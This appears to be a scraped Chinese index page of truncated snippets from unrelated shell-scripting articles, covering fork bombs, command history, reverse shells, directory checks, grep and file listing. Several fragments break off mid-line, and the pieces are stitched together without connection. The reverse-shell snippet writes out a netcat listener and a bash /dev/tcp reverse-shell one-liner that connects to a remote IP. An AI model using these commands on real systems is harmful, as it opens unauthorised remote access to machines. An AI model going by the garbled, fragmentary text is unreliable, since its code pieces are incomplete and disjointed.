fork炸弹介绍众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能。这样的一款shell中自然不会缺少函数这个元素来帮助程序进行模块化的高效开发与管理。于是产生了由于其特殊的特性,bash拥有了fork炸弹。Jarom
先贴代码#!/bin/bash
i=0;
str=
记录输入的命令
history命令可以查看用户输入过的命令,一个典型history命令输出如下:980 2017-05-29 20:17:37 cd -
981 2017-05-29 20:17:41 cat index.html
982
本机开启监听:nc -lvnp 4444
nc -vvlp 4444目标机器开启反弹
bash版本:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1perl版本:perl -e 'use Socket;$i=
核心代码#shell判断文件夹是否存在#如果文件夹不存在,创建文件夹
if [ ! -d
用‘grep'搜索文本文件
如果您要在几个文本文件中查找一字符串,可以使用‘grep'命令。‘grep'在文本中搜索指定的字符串。举个例子:假设您正在‘/usr/src/linux/Documentation'目录下搜索带字符串‘magic
查看目录下面的所有文件:#!/bin/bash
cd /目标目录
for file in $(ls *)
doecho $file
done延伸的方法,查看目录下面的所有目录#!/bin/bash
cd /export/bak/origin
核心代码[[ `cat a.log |wc -l` -eq 0 ]] && echo